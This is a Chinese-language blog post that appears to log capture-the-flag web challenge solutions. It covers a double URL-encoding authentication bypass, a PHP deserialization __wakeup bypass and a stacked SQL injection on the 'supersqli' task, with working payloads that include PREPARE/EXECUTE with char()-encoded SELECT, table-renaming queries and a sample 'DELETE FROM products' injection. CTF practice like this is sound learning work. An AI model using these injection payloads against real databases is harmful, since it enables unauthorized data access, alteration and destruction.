持续更新ing
0x09 PHP2
题目只有一句话,
Can you anthenticate to this website?
,其实说实话没什么思路,根据dirsearch的结果,只有index.php存在,里面也什么都没有,各路前辈说index.phps
存在源码泄露,于是看了看。
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
上面这段代码是验证是否通过的条件,简单来说就是传入的id
值不等于admin
,但在url解码后等于admin
,a
为%61
,传入%61dmin
,发现直接被浏览器解码为admin
,影响了后续的判断,于是对%再次编码,传入%2561dmin
。得到flag。
0x10 unserialize3
打开题目为:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
传入的code只要跳出魔法函数__wakeup即可,wakeup函数在反序列化的对象与真实存在的参数个数不同时会跳过执行,即当前函数中只有一个参数$flag,若传入的序列化字符串中的参数个数为2即可绕过。
写如下代码:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
得到结果O:4:"xctf":1:{s:4:"flag";s:3:"111";}
,将类xctf
中的参数1修改为2,提交code
,得到flag。
后续会对反序列化知识进行专门的学习,在此先以刷题为主。
0x11 upload1
创建环境失败。
题目是一个js前端验证的上传,抓包修改提交参数或者修改前端js验证都可绕过。
0x12 Web_python_template_injection
创建环境失败。
题目是一个python模板注入(SSTI)的问题,后续会对SSTI进行详细分析,也积累一下知识。
0x13 Web_php_unserialize
创建环境失败。
根据题目可以看出是一个反序列化漏洞,后续也会对这部分内容进行补充,积累基础知识。
0x14 supersqli(easysql)
题目来自于强网杯2019 的easysql,是一个注入题。先看下题目:
通过1'报错,确定存在sql注入。
通过order by判断字段数为2。
在使用union联合查询时发现禁用了大部分的关键词。
在这里其实我没什么好的想法,使用变形绕过select也失败,不断报错,网上的前辈们都讲到了需要使用 堆叠注入 了,那联合查询和堆叠注入到底有什么不同的?
下面的话引用自SQL注入-堆叠注入(堆查询注入),感谢前辈们的总结。
- 在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
- 而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
- 例如以下这个例子。用户输入:
1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。- 堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,(也就是说有的时候并不适合,那适合union 的时候适不适合堆叠?)当然了权限不足的问题也可以解释为什么攻击者无法修改数据或者调用一些程序。
既然堆叠可以使用任意语句进行执行,那首先学习几个常用的在库中的语句。
show databases;显示数据库列表。
show tables;显示当前查询的表。
desc words;获取表结构。
show columns from words;获取表结构。
alter table t1 rename t2;重命名表名。
alter table words change 字段名 新字段名 varchar(100)类型;重命名字段名。
查看所有表名,发现只有1919810931114514
和words
表。
查看words表
结构。
查看
1919810931114514
表结构。根据查询数据的结构可知,现在使用的是words表,而flag在
1919810931114514
表中。
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
到这里其实思路比较明亮,就是要查表中flag字段的值,但是select等关键字被禁用,各路前辈也提供了不同的思路来解决。
- 一是Lee-404 师傅预定SQL查询。
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
char()
cancat() //连接字符
char(115,101,108,101,99,116) -->SELECT
最后payload为1';PREPARE name from concat(char(115,101,108,101,99,116),'* from `1919810931114514`');EXECUTE name;#
(纯数字的表名要加反引`号
)
- 二是Art_Dillon师傅修改默认查询的表。
预知识为修改表、列名。
rename tables words to words1;修改表名。
alter table words change flag id varchar(100);修改表中列名。
最终payload为1 ' or 1=1; rename tables words to words1;rename tables `1919810931114514` to words;alter table words change flag id varchar(100);#
执行成功后,需再次1' or 1=1;#
查询所有列信息。
小结
经过近几天题目的练习发现自己对于很多知识都有所欠缺,也正是希望通过练习题目的方式查找自己存在的不足,列下内容,进行逐一学习,下步将对上面所提到的弱类型md5碰撞、php伪协议、反序列化、模板注入(SSTI)等进行学习。
将基础学习补上之后继续刷题。
网友评论